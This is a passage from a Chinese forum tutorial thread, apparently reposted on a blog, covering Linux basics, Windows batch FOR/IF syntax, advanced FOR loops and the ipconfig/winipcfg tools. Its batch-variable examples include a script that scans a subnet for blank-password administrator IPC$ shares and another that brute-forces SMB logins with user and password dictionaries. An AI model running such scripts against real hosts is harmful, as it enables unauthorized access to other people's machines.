参数说明:/M列出当前进程加载的dll文件,/SVC显示出每个进程对应的服务,无参数时就只列出当前的进程。
#6六:
Linux系统下基本命令:要区分大小写
uname显示版本信息(同win2K的ver)
dir显示当前目录文件,ls-al显示包括隐藏文件(同win2K的dir)
pwd查询当前所在的目录位置
cdcd..回到上一层目录,注意cd与..之间有空格。cd/返回到根目录。
cat文件名查看文件内容
cat>abc.txt往abc.txt文件中写上内容。
more文件名以一页一页的方式显示一个文本文件。
cp复制文件
mv移动文件
rm文件名删除文件,rm-a目录名删除目录及子目录
mkdir目录名建立目录
rmdir删除子目录,目录内没有文档。
chmod设定档案或目录的存取权限
grep在档案中查找字符串
diff档案文件比较
find档案搜寻
date现在的日期、时间
who查询目前和你使用同一台机器的人以及Login时间地点
作者:diablo6182006-4-1314:37回复此发言
--------------------------------------------------------------------------------
17回复:dos高级技术
w查询目前上机者的详细资料
whoami查看自己的帐号名称
groups查看某人的Group
passwd更改密码
history查看自己下过的命令
ps显示进程状态
kill停止某进程
gcc黑客通常用它来编译C语言写的文件
su权限转换为指定使用者
telnetIPtelnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
ftpftp连接上某服务器(同win2K)
附:批处理命令与变量
1:for命令及变量基本格式:
FOR/参数%variableIN(set)DOcommand[command_parameters]%variable:指定一个单一字母可替换的参数,如:%i,而指定一个变量则用:%%i,而调用变量时用:%i%,变量是区分大小写的(%i不等于%I)。
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:netuse[url=file://\\ip\ipc$]\\ip\ipc$[/url]pass/user:user中ip为%1,pass为%2,user为%3
(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(11254)(1-1254),{“(11254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1-1254)”说明:即从254到1}
command:指定对第个文件执行的命令,如:netuse命令;如要执行多个命令时,命令这间加:&来隔开
command_parameters:为特定命令指定参数或命令行开关
IN(set):指在(set)中取值;DOcommand:指执行command
参数:/L指用增量形式{(set)为增量形式时};/F指从文件中不断取值,直到取完为止{(set)为文件时,如(d:\pass.txt)时}。
用法举例:
@echooff
echo用法格式:test.bat*.*.*>test.txt
for/L%%Gin(11254)doecho%1.%%G>>test.txt&netuse[url=file://\\%1.%%G]\\%1.%%G[/url]/user:administrator|find"命令成功完成">>test.txt
存为test.bat说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。
/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的%1;%%G为变量(ip的最后一位);&用来隔开echo和netuse这二个命令;|指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G为完整的IP地址;(11254)指起始值,增长量,结止值。
@echooff
echo用法格式:ok.batip
FOR/F%%iIN(D:\user.dic)DOsmb.exe%1%%iD:\pass.dic200
存为:ok.exe说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。
#7七:
2:if命令及变量基本格式:
IF[not]errorlevel数字命令语句如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
例:IFerrorlevel0命令指程序执行后返回的值为0时,就值行后面的命令;IFnoterrorlevel1命令指程序执行最后返回的值不等于1,就执行后面的命令。
0指发现并成功执行(真);1指没有发现、没执行(假)。
IF[not]字符串1==字符串2命令语句如果指定的文本字符串匹配(即:字符串1等于字符串2),就执行后面的命令。
例:“if"%2%"=="4"gotostart”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加"")
IF[not]exist文件名命令语句如果指定的文件名存在,就执行后面的命令。
例:“ifnotnc.exegotoend”指:如果没有发现nc.exe文件就跳到":end"标签处。
IF[not]errorlevel数字命令语句else命令语句或IF[not]字符串1==字符串2命令语句else命令语句或IF[not]exist文件名命令语句else命令语句加上:else命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else必须与if在同一行才有效。当有del命令时需把del命令全部内容用括起来,因为del命令要单独一行时才能执行,用上后就等于是单独一行了;例如:“ifexisttest.txt.elseechotest.txt.missing”,注意命令中的“.”
作者:diablo6182006-4-1314:37回复此发言
--------------------------------------------------------------------------------
19dos:FOR高级技术
以前常觉得DOS的命令行功能太弱,无法象UNIX一样可以用命令行完成非常复杂的操作。实际上,当MS从WIN2K开始将命令行增强后,已经借鉴了相当多UNIX的优点,虽然还无法做到象UNIX那么灵活,但已可完成绝大多数的任务,比如用&&和||连接两个(或更多)命令,由前一个的返回值来决定下一个是否执行,等等。而在这些增强中,最明显的,就是FOR命令。
举个例子,用适当的参数,可用FOR命令将date/t的输出从"Sat07/13/2002"变成你想要的格式,比如,"2002-07-13":
c:\>for/f"tokens=2,3,4delims=/"%ain('date/t')do@echo%c-%a-%b
2002-07-13
该例将在(3)中详细说明。
0.基本应用
简单说,FOR是个循环,可以用你指定的循环范围生成一系列命令。最简单的例子,就是人工指定循环范围,然后对每个值执行指定的命令。例如,想快速报告每个硬盘分区的剩余空间:
for%ain(c:d:e:fdo@dir%a\|find"bytesfree"
将输出:
8Dir(s)1,361,334,272bytesfree
15Dir(s)8,505,581,568bytesfree
12Dir(s)12,975,149,056bytesfree
7Dir(s)11,658,854,400bytesfree
用它可以使一些不支持通配符的命令对一系列文件进行操作。在WIN9X中,TYPE命令(显示文件内容)是不支持*.txt这种格式的(WIN2K开始TYPE已支持通配)。遇到类似情况就可以用FOR:
for%ain(*.txt)dotype%a
这些还不是FOR最强大的功能。我认为它最强大的功能,表现在以下这些高级应用:
1.可以用/r参数遍历整个目录树
2.可以用/f参数将文本文件内容作为循环范围
3.可以用/f参数将某一命令执行结果作为循环范围
4.可以用%~操作符将文件名分离成文件名、扩展名、盘符等独立部分
现分别举例说明如下:
1.用/r遍历目录树
当用*.*或*.txt等文件名通配符作为for/r的循环范围时,可以对当前目录下所有文件(包括子目录里面的文件)进行操作。举个例子,你想在当前目录的所有txt文件(包括子目录)内容中查找"bluebear"字样,但由于find本身不能遍历子目录,所以我们用for:
for/r.%ain(*.txt)do@find"bluebear"%a
find前面的@只是让输出结果不包括find命令本身。这是DOS很早就有的功能。和FOR无关。
当用.作为循环范围时,for只将子目录的结构(目录名)作为循环范围,而不包括里面的文件。有点象TREE命令,不过侧重点不同。TREE的重点是用很漂亮易读的格式输出,而FOR的输出适合一些自动任务,例如,我们都知道用CVS管理的项目中,每个子目录下都会有一个CVS目录,有时在软件发行时我们想把这些CVS目录全部去掉:
for/r.%ain(.)do@ifexist%a\CVSrd/s/q%a\CVS
先用ifexist判断一下,是因为for只是机械的对每个目录进行列举,如果有些目录下面没有CVS也会被执行到。用ifexist判断一下比较安全。
这种删除命令威力太大,请小心使用。最好是在真正执行以上的删除命令前,将rd/s/q换成@echo先列出要删出的目录,确认无误后再换回rd/s/q:
for/r.%ain(.)do@ifexist%a\CVS@echo%a\CVS
可能目录中会多出一层".",比如c:\proj\release\.\CVS,但不会影响命令的执行效果。
2.将某一文件内容或命令执行结果作为循环范围:
假如你有一个文件todel.txt,里面是所有要删除的文件列表,现在你想将里面列出的每个文件都删掉。假设这个文件是每个文件名占一行,象这样:
c:\temp\a1.txt
c:\temp\a2.txt
c:\temp\subdir\b3.txt
c:\temp\subdir\b4.txt
那么可以用FOR来完成:
for/f%ain(todel.txt)dodel%a
这个命令还可以更强大。比如你的todel.txt并不是象上面例子那么干净,而是由DIR直接生成,有一些没用的信息,比如这样:
作者:diablo6182006-4-1314:39回复此发言
--------------------------------------------------------------------------------
20dos:FOR高级技术
VolumeindriveDisDATA
VolumeSerialNumberisC47C-9908
DirectoryofD:\tmp
09/26/200112:50PM18,426alg0925.txt
12/02/200104:29AM795bsample.txt
04/11/200204:18AM2,043invitation.txt
4File(s)25,651bytes
0Dir(s)4,060,700,672bytesfree
for仍然可以解出其中的文件名并进行操作:
for/f"skip=5tokens=5"%ain(todel.txt)do@ifexist%aDEL%a
当然,上面这个命令是在进行删除,如果你只是想看看哪些文件将被操作,把DEL换成echo:
for/f"skip=5tokens=5"%ain(todel.txt)do@ifexist%aecho%a
你将看到:
alg0925.txt
bsample.txt
invitation.txt
skip=5表示跳过前5行(就是DIR输出的头部信息),tokens=5表示将每行的第5列作为循环值放入%a,正好是文件名。在这里我加了一个文件存在判断,是因为最后一行的"free"刚好也是第5列,目前还想不出好的办法来滤掉最后两行,所以检查一下可保万无一失。
3.可以用/f参数将某一命令执行结果作为循环范围
非常有用的功能。比如,我们想知道目前的环境变量有哪些名字(我们只要名字,不要值)。可是SET命令的输出是“名字=值”的格式,现在可以用FOR来只取得名字部分:
FOR/F"delims=="%iIN('set')DO@echo%i
将看到:
ALLUSERSPROFILE
APPDATA
CLASSPATH
CommonProgramFiles
COMPUTERNAME
ComSpec
dircmd
HOMEDRIVE
......
这里是将set命令执行的结果拿来作为循环范围。delims==表示用=作为分隔符,由于FOR/F默认是用每行第一个TOKEN,所以可以分离出变量名。如果是想仅列出值:
FOR/F"delims==tokens=2"%iIN('set')DO@echo%i
tokens=2和前例相同,表示将第二列(由=作为分隔符)作为循环值。
再来个更有用的例子:
我们知道date/t(/t表示不要询问用户输入)的输出是象这样的:
Sat07/13/2002
现在我想分离出日期部分,也就是13:
for/f"tokens=3delims=/"%ain('date/t')do@echo%a
实际上把tokens后面换成1,2,3或4,你将分别得到Sat,07,13和2002。注意delims=/后面还有个空格,表示/和空格都是分隔符。由于这个空格delims必须是/f选项的最后一项。
再灵活一点,象本文开头提到的,将日期用2002-07-13的格式输出:
for/f"tokens=2,3,4delims=/"%ain('date/t')do@echo%c-%a-%b
当tokens后跟多个值时,将分别映射到%a,%b,%c等。实际上跟你指定的变量有关,如果你指定的是%i,它们就会用%i,%j,%k等。
灵活应用这一点,几乎没有做不了的事。
4.可以用%~操作符将文件名分离成文件名、扩展名、盘符等独立部分
这个比较简单,就是说将循环变量的值自动分离成只要文件名,只要扩展名,或只要盘符等等。
例:要将c:\mp3下所有mp3的歌名列出,如果用一般的dir/b/s或for/r,将会是这样:
g:\mp3\Archived\05-18-01-A\游鸿明-下沙\游鸿明-01下沙.mp3
g:\mp3\Archived\05-18-01-A\游鸿明-下沙\游鸿明-0221个人.mp3
......
g:\mp3\Archived\05-18-01-A\王菲-寓言\王菲-阿修罗.mp3
g:\mp3\Archived\05-18-01-A\王菲-寓言\王菲-彼岸花.mp3
g:\mp3\Archived\05-18-01-A\王菲-寓言\王菲-不爱我的我不爱.mp3
......
如果我只要歌名(不要路径和".mp3"):
游鸿明-01下沙
游鸿明-0221个人
......
王菲-阿修罗
王菲-彼岸花
王菲-不爱我的我不爱
......
那么可以用FOR命令:
for/rg:\mp3%ain(*.mp3)do@echo%~na
凡是%~开头的操作符,都是文件名的分离操作。具体请看for/?帮助。
本文举的例子有些可能没有实际用处,或可用其它办法完成。仅用于体现FOR可以不借助其它工具,仅用DOS命令组合,就可完成相当灵活的任务。
具体请看for/?帮助
作者:diablo6182006-4-1314:39回复此发言
--------------------------------------------------------------------------------
21dos网络命令全集
二、ipconfig/winipcfg
与ping命有所区别,利用ipconfig和winipcfg工具可以查看和修改网络中的tcp/ip协议的有关配置,如ip地址、网关、子网掩码等。还可以查看主机的相关信息如:主机名、dns服务器、节点类型等。其中网络适配器的物理地址在检测网络错误时非常有用。这两个工具在windows95/98中都能使用,功能基本相同,只是ipconfig是以dos的字符形式显示,而winipcfg则用图形界面显示,也就是其实两个工具是一个工具,只不过一个是dos下的版本,另一个为windwos下的版本,但要注意,在windowsnt中只能运行于dos方式下的ipconfig工具。(在命令提示符下键入winipcfg/?或ipconfig可获得winipcfg或ipconfig的使用帮助。)
主要功能:显示用户所在主机内部的ip协议的配置信息
1、ipconfig命令的语法格式
ipconfig[/all][/batchfile][/renewall][/releaseall][/renewn][/releasen]
all——显示与tcp/ip协议相关的所有细节信息,其中包括测试的主机名、ip地址、子网掩码、节点类型、是否启用ip路由、网卡的物理地址、默认网关等。
batchfile——将测试的结果存入指定的“file“文件名中,以便于逐项查看,如果省略file文件名,则系统会把这测试的结果保存在系统的“winipcfg.out”文件中。
renewall——更新全部适配器的通信配置情况,所有测试重新开始。
releaseall——释放全部适配器的通信配置情况。
renewn——更新第n号适配器的通信配置情况,所有测试重新开始。
releasen——释放第n号适配器的通信配置情况。
2、winipcfg命令
winipcfg工具的功能与ipconfig基本相同,只是winipcfg是以图形界面的方式显示,在操作上更加方便。当用户需要查看任何一台机器上tcp/ip协议的配置情况时,只需在windows95/98上选择“开始→运行”,在出现的对话框中输入命令“winipcfg”,将出现测试结果。如何种类型的网卡、网卡的物理地址、主机的ip地址、子网掩码、路由器的地址、如果用户想更加详细地了解该主机的其他ip协议配置信息,例如dns服务器、dhcp服务器等方面的信息,可以直接单击该界面中的“详细信息”按钮。单击“详细信息”按钮,在随后出现的对话框中可以查看和改变tcp/ip的有关配置参数。当一台机器上安装有多个网卡时,还可以查找到每个网卡的物理地址和有关协议的绑定情况等。
3、ipconfig/winipcfg的应用
(1)、查找目标主机的ip地址及其它有关tcp/ip协议的信息。方法如下:按「开始」菜单执行「运行」菜单项,输入winipcfg,就会出现一个ip组态窗口,这里会显示有关于你目前网络ip的一些详细设置数据。或者,你也可以在ms-dos模式下,输入ipconfig,也是一样可以显示详细的ip信息,只不过此画面是在dos下而已。
(2)、ipconfig/winipcfg应该说是一款网络侦察的利器,尤其当用户的网络中设置的是dhcp(动态ip地址配置协议)时,利用ipconfig/winipcfg可以让用户很方便地了解到所用ipconfig/winipcfg机的ip地址的实际配置情况。因为它有一个“/all”这个参数,所以它可侦查到本机上所有网络适配的ip地址分配情况,比ping命令更为详细。如果我们在计算机bb_data客户端上运行“ipconfig/all/batchdata.txt”后,打开data.txt文件,将能非常详细地显示所有与tcp/ip协议有关的配置情况。当然与ping相比也有它的不足之处就是它只能在本机
本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/lightyearwp/archive/2008/09/14/2802163.aspx